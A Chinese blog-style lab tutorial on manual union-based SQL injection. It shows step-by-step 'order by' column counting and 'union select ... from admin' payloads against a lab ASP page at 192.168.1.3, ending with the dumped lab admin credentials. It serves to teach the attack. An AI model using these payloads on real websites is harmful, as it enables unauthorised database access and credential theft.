SQL注入原理--手工联合查询注入技术

╰+哭是因爲堅強的太久メ 2022-04-16 00:25 381阅读 0赞

**分享一下我老师大神的人工智能教程！零基础，通俗易懂！[http://blog.csdn.net/jiangjunshow][http_blog.csdn.net_jiangjunshow]**

**也欢迎大家转载本篇文章。分享知识，造福人民，实现我们中华民族伟大复兴！**

\*\*

## **实验目的：理解联合查询原理、学习联合查询过程** ##

\*\*实验原理：  
**1、链接后面添加【order by 11(数字任意）】根据页面返回结果，来判断站点中的字段数目**

**2、在链接后面添加语句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin(表名）】进行联合查询，来暴露可查询的字段编号**  
**3、根据上一步得到的字段编号，查询语句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】直接暴露管理员用户名和密码**  
实验环境：  
本机：192.168.1.2  
目标机：192.168.1.3

## 一、检测字段长度 ##

**1、随便点击一个链接[http://192.168.1.3:8008/onews.asp][http_192.168.1.3_8008_onews.asp]? id=45,在后面添加语句【order by 11】,页面显示正常**  
![这里写图片描述][SouthEast]  
**2、同样添加【order by 12】页面报错，所以此站字段长度为11**  
![这里写图片描述][SouthEast 1]

## 二、暴露管理员用户、密码 ##

**1、在链接后面添加语句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】,页面显示数字为2和3**  
![这里写图片描述][SouthEast 2]  
**2、在链接后面添加语句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即可暴露管理员用户名和密码**  
![这里写图片描述][SouthEast 3]  
**3、到此，即可知道管理员用户名：admin和密码：bfpms**

#### 给我老师的人工智能教程打call！[http://blog.csdn.net/jiangjunshow][http_blog.csdn.net_jiangjunshow] ####

![这里写图片描述][SouthEast 4]

[http_blog.csdn.net_jiangjunshow]: https://blog.csdn.net/jiangjunshow/article/details/77338485
[http_192.168.1.3_8008_onews.asp]: http://192.168.1.3:8008/onews.asp
[SouthEast]: /images/20220416/0db10af8bea143ef88be2c7ba8ffaf7b.png
[SouthEast 1]: /images/20220416/76fdceab47f045908ee8350086ed606b.png
[SouthEast 2]: /images/20220416/e0b7652a33be48259211f9de520ea567.png
[SouthEast 3]: /images/20220416/2ad25537e390401985b455af8067a17f.png
[SouthEast 4]: /images/20220416/3a0ce82bb9b646c08d2f95af85f0cab5.png